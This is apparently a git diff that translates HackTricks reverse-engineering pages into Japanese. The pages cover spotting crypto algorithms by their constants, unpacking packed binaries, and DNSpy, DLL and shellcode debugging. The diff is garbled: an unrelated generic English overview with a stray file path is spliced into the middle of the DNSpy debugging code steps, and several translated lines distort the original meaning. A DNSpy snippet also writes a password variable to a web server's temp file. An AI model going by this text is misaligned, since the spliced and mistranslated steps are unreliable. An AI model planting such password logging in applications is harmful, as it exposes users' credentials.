(Symmetric Crypt)** +## **AES(対称暗号)** -### **Characteristics** +### **特徴** -* Use of **substitution boxes and lookup tables** - * It's possible to **distinguish AES thanks to the use of specific lookup table values** (constants). _Note that the **constant** can be **stored** in the binary **or created**_ _**dynamically**._ -* The **encryption key** must be **divisible** by **16** (usually 32B) and usually an **IV** of 16B is used. +* **置換ボックスとルックアップテーブル**の使用 +* 特定のルックアップテーブルの値(定数)の使用により、AESを区別することが可能です。_注意:この定数はバイナリに**格納**されるか、**動的に作成**されることができます。_ +* 暗号化キーは16で割り切れる必要があります(通常は32B)、通常は16BのIVが使用されます。 -### SBox constants +### SBoxの定数 ![](<../../.gitbook/assets/image (380).png>) -## Serpent **(Symmetric Crypt)** +## Serpent **(対称暗号)** -### Characteristics +### 特徴 -* It's rare to find some malware using it but there are examples (Ursnif) -* Simple to determine if an algorithm is Serpent or not based on it's length (extremely long function) +* 一部のマルウェアで使用されることは稀ですが、例があります(Ursnif) +* 非常に長い関数に基づいて、アルゴリズムがSerpentであるかどうかを簡単に判断できます。 -### Identifying +### 識別 -In the following image notice how the constant **0x9E3779B9** is used (note that this constant is also used by other crypto algorithms like **TEA** -Tiny Encryption Algorithm).\ -Also note the **size of the loop** (**132**) and the **number of XOR operations** in the **disassembly** instructions and in the **code** example: +次の画像では、定数**0x9E3779B9**が使用されていることに注意してください(この定数は**TEA**(Tiny Encryption Algorithm)などの他の暗号アルゴリズムでも使用されます)。また、**ループのサイズ**(**132**)と**XOR操作の数**を**逆アセンブリ**の命令と**コード**の例で確認してください。 ![](<../../.gitbook/assets/image (381).png>) -As it was mentioned before, this code can be visualized inside any decompiler as a **very long function** as there **aren't jumps** inside of it. The decompiled code can look like the following: +前述のように、このコードはジャンプがないため、デコンパイラ内で非常に長い関数として視覚化することができます。デコンパイルされたコードは次のようになります。 ![](<../../.gitbook/assets/image (382).png>) -Therefore, it's possible to identify this algorithm checking the **magic number** and the **initial XORs**, seeing a **very long function** and **comparing** some **instructions** of the long function **with an implementation** (like the shift left by 7 and the rotate left by 22). +したがって、このアルゴリズムは、**マジックナンバー**と**初期のXOR**をチェックし、**非常に長い関数**を見て、その関数の**いくつかの命令**を(左に7ビットシフトし、左に22ビット回転するなど)**実装と比較する**ことで識別することができます。 -## RSA **(Asymmetric Crypt)** +## RSA **(非対称暗号)** -### Characteristics +### 特徴 -* More complex than symmetric algorithms -* There are no constants! (custom implementation are difficult to determine) -* KANAL (a crypto analyzer) fails to show hints on RSA ad it relies on constants. +* 対称アルゴリズムよりも複雑です +* 定数はありません!(カスタム実装は判断が難しいです) +* RSAに関するヒントを表示するためには、KANAL(暗号解析ツール)は失敗します。 -### Identifying by comparisons +### 比較による識別 ![](<../../.gitbook/assets/image (383).png>) -* In line 11 (left) there is a `+7) >> 3` which is the same as in line 35 (right): `+7) / 8` -* Line 12 (left) is checking if `modulus_len < 0x040` and in line 36 (right) it's checking if `inputLen+11 > modulusLen` +* 左側の11行目には`+7) >> 3`があり、右側の35行目には`+7) / 8`があります。 +* 左側の12行目では`modulus_len < 0x040`をチェックし、右側の36行目では`inputLen+11 > modulusLen`をチェックしています。 -## MD5 & SHA (hash) +## MD5&SHA(ハッシュ) -### Characteristics +### 特徴 -* 3 functions: Init, Update, Final -* Similar initialize functions +* 初期化、更新、最終の3つの関数があります +* 類似した初期化関数 -### Identify +### 識別 -**Init** +**初期化** -You can identify both of them checking the constants. Note that the sha\_init has 1 constant that MD5 doesn't have: +両方を識別するには、定数をチェックします。MD5には存在しないsha\_initに1つの定数があることに注意してください。 ![](<../../.gitbook/assets/image (385).png>) -**MD5 Transform** +**MD5変換** -Note the use of more constants +さらに多くの定数の使用に注意してください。 ![](<../../.gitbook/assets/image (253) (1) (1) (1).png>) -## CRC (hash) +## CRC(ハッシュ) -* Smaller and more efficient as it's function is to find accidental changes in data -* Uses lookup tables (so you can identify constants) +* データの偶発的な変更を検出するための機能として、より小さく効率的です +* ルックアップテーブルを使用します(定数を識別できます) -### Identify +### 識別 -Check **lookup table constants**: +**ルックアップテーブルの定数**をチェックします。 ![](<../../.gitbook/assets/image (387).png>) -A CRC hash algorithm looks like: +CRCハッシュアルゴリズムは次のようになります。 ![](<../../.gitbook/assets/image (386).png>) -## APLib (Compression) +## APLib(圧縮) -### Characteristics +### 特徴 -* Not recognizable constants -* You can try to write the algorithm in python and search for similar things online +* 識別可能な定数はありません +* Pythonでアルゴリズムを書いて、オンラインで類似のものを検索することができます -### Identify +### 識別 -The graph is quiet large: +グラフは非常に大きいです。 ![](<../../.gitbook/assets/image (207) (2) (1).png>) -Check **3 comparisons to recognise it**: +**3つの比較をチェック**してそれを認識します。 ![](<../../.gitbook/assets/image (384).png>) @@ -197,10 +192,10 @@ Check **3 comparisons to recognise it**: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンやHackTricksのPDFをダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/reversing/cryptographic-algorithms/unpacking-binaries.md b/reversing/cryptographic-algorithms/unpacking-binaries.md index bbdeed2bf..af4243b54 100644 --- a/reversing/cryptographic-algorithms/unpacking-binaries.md +++ b/reversing/cryptographic-algorithms/unpacking-binaries.md @@ -1,58 +1,46 @@ +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! + +- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。 + +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 + +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 + +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 + +
+ + +# パックされたバイナリの特定 + +* **文字列の不足**: パックされたバイナリにはほとんど文字列が存在しないことがよくあります。 +* 多くの**未使用の文字列**: マルウェアが商用パッカーを使用している場合、クロスリファレンスのない多くの文字列が見つかることがよくあります。ただし、これらの文字列が存在しているからといって、バイナリがパックされていないとは限りません。 +* バイナリのパッカーを特定するために、いくつかのツールを使用することもできます: +* [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml) +* [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml) +* [Language 2000](http://farrokhi.net/language/) + +# 基本的な推奨事項 + +* パックされたバイナリを解析する場合は、**IDAで下から上に**解析を開始します。アンパッカーは、アンパックされたコードが終了すると終了するため、アンパッカーが最初に実行時にアンパックされたコードに実行を渡すことはまれです。 +* **レジスタ**または**メモリの領域**への**JMP**または**CALL**、または**引数とアドレスの方向をプッシュし、`retn`を呼び出す関数**を検索します。この場合、関数の戻り値は、呼び出される前にスタックにプッシュされたアドレスを呼び出す可能性があります。 +* `VirtualAlloc`に**ブレークポイント**を設定します。これにより、プログラムがアンパックされたコードを書き込むためのメモリ領域を割り当てることができます。関数を実行した後、"run to user code"またはF8を使用してEAX内の値に到達します。そして、そのアドレスをダンプで**フォロー**します。アンパックされたコードが保存される領域であるかどうかはわかりません。 +* 引数として値 "**40**" を持つ **`VirtualAlloc`** は、Read+Write+Execute(実行が必要なコードがここにコピーされる)を意味します。 +* コードをアンパックする間に、**算術演算**や**`memcopy`**または**`Virtual`**`Alloc`のような関数への**複数の呼び出し**が見つかることが普通です。関数が算術演算のみを実行し、おそらくいくつかの`memcopy`を実行するように見える場合、関数の**終わり**(おそらくレジスタへのJMPまたは呼び出し)を見つけるか、少なくとも**最後の関数の呼び出し**を見つけてから実行してください。なぜなら、そのコードは興味がないからです。 +* コードをアンパックする間に、**メモリ領域の変更**があるたびに**メモ**してください。メモリ領域の変更は、アンパックコードの開始を示す可能性があります。プロセスハッカーを使用して簡単にメモリ領域をダンプすることができます(プロセス→プロパティ→メモリ)。 +* コードをアンパックしようとする際に、**アンパックされたコードで作業しているかどうかを知るための良い方法**(そのままダンプできる)は、バイナリの**文字列をチェック**することです。ある時点でジャンプを実行し(おそらくメモリ領域を変更)、**追加された文字列が非常に多い**ことに気付いた場合、**アンパックされたコードで作業している**ことがわかります。\ +ただし、パッカーにすでに多くの文字列が含まれている場合は、単語 "http" を含む文字列の数を確認し、この数が増加するかどうかを確認できます。 +* メモリ領域から実行可能ファイルをダンプする際には、[PE-bear](https://github.com/hasherezade/pe-bear-releases/releases)を使用して一部のヘッダーを修正することができます。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - -# Identifying packed binaries - -* **lack of strings**: It's common to find that packed binaries doesn't have almost any string -* A lot of **unused strings**: Also, when a malware is using some kind of commercial packer it's common to find a lot of strings without cross-references. Even if these strings exist that doesn't mean that the binary isn't packed. -* You can also use some tools to try to find which packer was used to pack a binary: - * [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml) - * [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml) - * [Language 2000](http://farrokhi.net/language/) - -# Basic Recommendations - -* **Start** analysing the packed binary **from the bottom in IDA and move up**. Unpackers exit once the unpacked code exit so it's unlikely that the unpacker passes execution to the unpacked code at the start. -* Search for **JMP's** or **CALLs** to **registers** or **regions** of **memory**. Also search for **functions pushing arguments and an address direction and then calling `retn`**, because the return of the function in that case may call the address just pushed to the stack before calling it. -* Put a **breakpoint** on `VirtualAlloc` as this allocates space in memory where the program can write unpacked code. The "run to user code" or use F8 to **get to value inside EAX** after executing the function and "**follow that address in dump**". You never know if that is the region where the unpacked code is going to be saved. - * **`VirtualAlloc`** with the value "**40**" as an argument means Read+Write+Execute (some code that needs execution is going to be copied here). -* **While unpacking** code it's normal to find **several calls** to **arithmetic operations** and functions like **`memcopy`** or **`Virtual`**`Alloc`. If you find yourself in a function that apparently only perform arithmetic operations and maybe some `memcopy` , the recommendation is to try to **find the end of the function** (maybe a JMP or call to some register) **or** at least the **call to the last function** and run to then as the code isn't interesting. -* While unpacking code **note** whenever you **change memory region** as a memory region change may indicate the **starting of the unpacking code**. You can easily dump a memory region using Process Hacker (process --> properties --> memory). -* While trying to unpack code a good way to **know if you are already working with the unpacked code** (so you can just dump it) is to **check the strings of the binary**. If at some point you perform a jump (maybe changing the memory region) and you notice that **a lot more strings where added**, then you can know **you are working with the unpacked code**.\ - However, if the packer already contains a lot of strings you can see how many strings contains the word "http" and see if this number increases. -* When you dump an executable from a region of memory you can fix some headers using [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases). - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- 独占的な[**NFT** diff --git a/reversing/reversing-tools-basic-methods/README.md b/reversing/reversing-tools-basic-methods/README.md index c71565615..5c7e18720 100644 --- a/reversing/reversing-tools-basic-methods/README.md +++ b/reversing/reversing-tools-basic-methods/README.md @@ -1,153 +1,183 @@ -# Reversing Tools & Basic Methods +# リバースエンジニアリングツールと基本的な手法
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## ImGui Based Reversing tools +## ImGuiベースのリバースエンジニアリングツール -Software: +ソフトウェア: * ReverseKit: [https://github.com/zer0condition/ReverseKit](https://github.com/zer0condition/ReverseKit) -## Wasm decompiler / Wat compiler +## Wasmデコンパイラ/ Watコンパイラ -Online: +オンライン: -* Use [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) to **decompile** from wasm (binary) to wat (clear text) -* Use [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) to **compile** from wat to wasm -* you can also try to use [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) to decompile +* [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html)を使用して、wasm(バイナリ)からwat(クリアテキスト)に**デコンパイル**します。 +* [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/)を使用して、watからwasmに**コンパイル**します。 +* [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/)を使用してデコンパイルすることもできます。 -Software: +ソフトウェア: * [https://www.pnfsoftware.com/jeb/demo](https://www.pnfsoftware.com/jeb/demo) * [https://github.com/wwwg/wasmdec](https://github.com/wwwg/wasmdec) -## .Net decompiler +## .Netデコンパイラ [https://github.com/icsharpcode/ILSpy](https://github.com/icsharpcode/ILSpy)\ -[ILSpy plugin for Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): You can have it in any OS (you can install it directly from VSCode, no need to download the git. Click on **Extensions** and **search ILSpy**).\ -If you need to **decompile**, **modify** and **recompile** again you can use: [**https://github.com/0xd4d/dnSpy/releases**](https://github.com/0xd4d/dnSpy/releases) (**Right Click -> Modify Method** to change something inside a function).\ -You cloud also try [https://www.jetbrains.com/es-es/decompiler/](https://www.jetbrains.com/es-es/decompiler/) +[Visual Studio Code用のILSpyプラグイン](https://github.com/icsharpcode/ilspy-vscode):どのOSでも使用できます(VSCodeから直接インストールできます。gitをダウンロードする必要はありません。**Extensions**をクリックして**ILSpy**を検索します)。\ +**デコンパイル**、**変更**、**再コンパイル**が必要な場合は、[**https://github.com/0xd4d/dnSpy/releases**](https://github.com/0xd4d/dnSpy/releases)を使用できます(関数内の何かを変更するには、**右クリック->メソッドの変更**)。\ +[https://www.jetbrains.com/es-es/decompiler/](https://www.jetbrains.com/es-es/decompiler/)も試すことができます。 -### DNSpy Logging - -In order to make **DNSpy log some information in a file**, you could use this .Net lines: +### DNSpyログ +**DNSpyが情報をファイルに記録する**ために、次の.Netの行を使用できます: ```bash using System.IO; path = "C:\\inetpub\\temp\\MyTest2.txt"; File.AppendAllText(path, "Password: " + password + "\n"); ``` +### DNSpy デバッグ -### DNSpy Debugging +DNSpyを使用してコードをデバッグするには、次の手順を実行する必要があります。 -In order to debug code using DNSpy you need to: - -First, change the **Assembly attributes** related to **debugging**: +まず、**デバッグに関連する** **アセンブリ属性**を変更します: ![](<../../.gitbook/assets/image (278).png>) - -From: - ```aspnet [assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)] ``` +/hive/hacktricks/reversing/reversing-tools-basic-methods/README.md -To: +# Reversing Tools Basic Methods +This section provides an overview of some basic methods and tools used in reverse engineering. These techniques are essential for analyzing and understanding the inner workings of software and systems. + +## Static Analysis + +Static analysis involves examining the code and structure of a program without executing it. This can be done using tools such as disassemblers, decompilers, and hex editors. Static analysis helps in identifying vulnerabilities, understanding the logic of the program, and finding hidden functionality. + +### Disassemblers + +Disassemblers are tools that convert machine code into assembly code. They allow you to view the low-level instructions of a program, making it easier to understand how it works. Some popular disassemblers include IDA Pro, Ghidra, and Radare2. + +### Decompilers + +Decompilers are tools that convert compiled code back into a high-level programming language. They can be used to analyze the functionality of a program and understand its logic. Popular decompilers include IDA Pro, Ghidra, and RetDec. + +### Hex Editors + +Hex editors allow you to view and edit binary files at the hexadecimal level. They are useful for analyzing and modifying the contents of a program's executable file. Some popular hex editors include HxD, Hex Fiend, and Bless. + +## Dynamic Analysis + +Dynamic analysis involves running a program and observing its behavior in real-time. This can be done using tools such as debuggers, profilers, and memory analyzers. Dynamic analysis helps in understanding how a program interacts with its environment and identifying runtime vulnerabilities. + +### Debuggers + +Debuggers are tools that allow you to monitor and control the execution of a program. They provide features such as breakpoints, stepping through code, and inspecting variables. Popular debuggers include GDB, WinDbg, and OllyDbg. + +### Profilers + +Profiling tools help in analyzing the performance of a program by measuring various metrics such as CPU usage, memory usage, and execution time. They can be used to identify bottlenecks and optimize the code. Some popular profilers include Perf, Valgrind, and Xcode Instruments. + +### Memory Analyzers + +Memory analyzers are tools that help in analyzing the memory usage of a program. They can be used to detect memory leaks, buffer overflows, and other memory-related vulnerabilities. Popular memory analyzers include Valgrind, WinDbg, and IDA Pro. + +## Conclusion + +These are some of the basic methods and tools used in reverse engineering. By using a combination of static and dynamic analysis techniques, you can gain a deep understanding of how software and systems work, and identify vulnerabilities that can be exploited. ``` [assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default | DebuggableAttribute.DebuggingModes.DisableOptimizations | DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints | DebuggableAttribute.DebuggingModes.EnableEditAndContinue)] ``` - -And click on **compile**: +そして、**コンパイル**をクリックします: ![](<../../.gitbook/assets/image (314) (1) (1).png>) -Then save the new file on _**File >> Save module...**_: +次に、新しいファイルを _**ファイル >> モジュールを保存...**_ に保存します: ![](<../../.gitbook/assets/image (279).png>) -This is necessary because if you don't do this, at **runtime** several **optimisations** will be applied to the code and it could be possible that while debugging a **break-point is never hit** or some **variables don't exist**. - -Then, if your .Net application is being **run** by **IIS** you can **restart** it with: +これは必要です。なぜなら、これを行わない場合、**ランタイム**でいくつかの**最適化**がコードに適用され、**デバッグ中にブレークポイントがヒットしない**か、いくつかの**変数が存在しない**可能性があるからです。 +次に、.Netアプリケーションが**IIS**で実行されている場合、次のコマンドで**再起動**できます: ``` iisreset /noforce ``` - -Then, in order to start debugging you should close all the opened files and inside the **Debug Tab** select **Attach to Process...**: +次に、デバッグを開始するためには、すべての開いているファイルを閉じ、**デバッグタブ**で**プロセスにアタッチ**を選択する必要があります。 ![](<../../.gitbook/assets/image (280).png>) -Then select **w3wp.exe** to attach to the **IIS server** and click **attach**: +次に、**w3wp.exe**を選択して**IISサーバー**にアタッチし、**アタッチ**をクリックします。 ![](<../../.gitbook/assets/image (281).png>) -Now that we are debugging the process, it's time to stop it and load all the modules. First click on _Debug >> Break All_ and then click on _**Debug >> Windows >> Modules**_: +プロセスのデバッグが開始されたので、それを停止してすべてのモジュールをロードします。まず、_Debug >> Break All_ をクリックし、次に _**Debug >> Windows >> Modules**_ をクリックします。 ![](<../../.gitbook/assets/image (286).png>) ![](<../../.gitbook/assets/image (283).png>) -Click any module on **Modules** and selec**t Open All Modules**: +**Modules**の中の任意のモジュールをクリックし、**Open All Modules**を選択します。 ![](<../../.gitbook/assets/image (284).png>) -Right click any module in **Assembly Explorer** and click **Sort Assemblies**: +**Assembly Explorer**の中の任意のモジュールを右クリックし、**Sort Assemblies**をクリックします。 ![](<../../.gitbook/assets/image (285).png>) -## Java decompiler +## Javaデコンパイラ [https://github.com/skylot/jadx](https://github.com/skylot/jadx)\ [https://github.com/java-decompiler/jd-gui/releases](https://github.com/java-decompiler/jd-gui/releases) -## Debugging DLLs +## DLLのデバッグ -### Using IDA +### IDAを使用する -* **Load rundll32** (64bits in C:\Windows\System32\rundll32.exe and 32 bits in C:\Windows\SysWOW64\rundll32.exe) -* Select **Windbg** debugger -* Select "**Suspend on library load/unload**" +* **rundll32をロード**します(64ビットはC:\Windows\System32\rundll32.exe、32ビットはC:\Windows\SysWOW64\rundll32.exe)。 +* **Windbgデバッガ**を選択します。 +* "**ライブラリのロード/アンロード時に中断**"を選択します。 ![](<../../.gitbook/assets/image (135).png>) -* Configure the **parameters** of the execution putting the **path to the DLL** and the function that you want to call: +* 実行の**パラメータ**を設定し、**DLLのパス**と呼び出したい関数を入力します。 ![](<../../.gitbook/assets/image (136).png>) -Then, when you start debugging **the execution will be stopped when each DLL is loaded**, then, when rundll32 load your DLL the execution will be stopped. +その後、デバッグを開始すると、各DLLがロードされるたびに実行が停止します。rundll32がDLLをロードすると、実行が停止します。 -But, how can you get to the code of the DLL that was lodaded? Using this method, I don't know how. +しかし、ロードされたDLLのコードにアクセスする方法はわかりません。 -### Using x64dbg/x32dbg +### x64dbg/x32dbgを使用する -* **Load rundll32** (64bits in C:\Windows\System32\rundll32.exe and 32 bits in C:\Windows\SysWOW64\rundll32.exe) -* **Change the Command Line** ( _File --> Change Command Line_ ) and set the path of the dll and the function that you want to call, for example: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain -* Change _Options --> Settings_ and select "**DLL Entry**". -* Then **start the execution**, the debugger will stop at each dll main, at some point you will **stop in the dll Entry of your dll**. From there, just search for the points where you want to put a breakpoint. +* **rundll32をロード**します(64ビットはC:\Windows\System32\rundll32.exe、32ビットはC:\Windows\SysWOW64\rundll32.exe)。 +* **コマンドラインを変更**します( _File --> Change Command Line_ )し、dllのパスと呼び出したい関数を設定します。例:"C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain +* _Options --> Settings_ を変更し、"**DLL Entry**"を選択します。 +* それから**実行を開始**します。デバッガは各DLLメインで停止します。いずれかのタイミングで、自分のDLLのDLLエントリで停止します。そこから、ブレークポイントを設定したい場所を検索します。 -Notice that when the execution is stopped by any reason in win64dbg you can see **in which code you are** looking in the **top of the win64dbg window**: +注意点として、win64dbgで実行が何らかの理由で停止した場合、win64dbgウィンドウの上部にある**どのコードで停止したか**が表示されます。 ![](<../../.gitbook/assets/image (137).png>) -Then, looking to this ca see when the execution was stopped in the dll you want to debug. +そのため、デバッグしたいDLLで実行が停止した場所を確認できます。 -## GUI Apps / Videogames +## GUIアプリ/ビデオゲーム -[**Cheat Engine**](https://www.cheatengine.org/downloads.php) is a useful program to find where important values are saved inside the memory of a running game and change them. More info in: +[**Cheat Engine**](https://www.cheatengine.org/downloads.php)は、実行中のゲームのメモリ内に重要な値が保存されている場所を見つけて変更するための便利なプログラムです。詳細は以下を参照してください。 {% content-ref url="cheat-engine.md" %} [cheat-engine.md](cheat-engine.md) @@ -157,51 +187,47 @@ Then, looking to this ca see when the execution was stopped in the dll you want {% embed url="https://github.com/nongiach/arm_now" %} -## Shellcodes +## シェルコード -### Debugging a shellcode with blobrunner +### blobrunnerを使用したシェルコードのデバッグ -[**Blobrunner**](https://github.com/OALabs/BlobRunner) will **allocate** the **shellcode** inside a space of memory, will **indicate** you the **memory address** were the shellcode was allocated and will **stop** the execution.\ -Then, you need to **attach a debugger** (Ida or x64dbg) to the process and put a **breakpoint the indicated memory address** and **resume** the execution. This way you will be debugging the shellcode. +[**Blobrunner**](https://github.com/OALabs/BlobRunner)は、シェルコードをメモリ内のスペースに割り当て、シェルコードが割り当てられたメモリアドレスを示し、実行を停止します。\ +その後、プロセスにデバッガ(Idaまたはx64dbg)をアタッチし、指定されたメモリアドレスにブレークポイントを設定し、実行を再開します。これにより、シェルコードをデバッグできます。 -The releases github page contains zips containing the compiled releases: 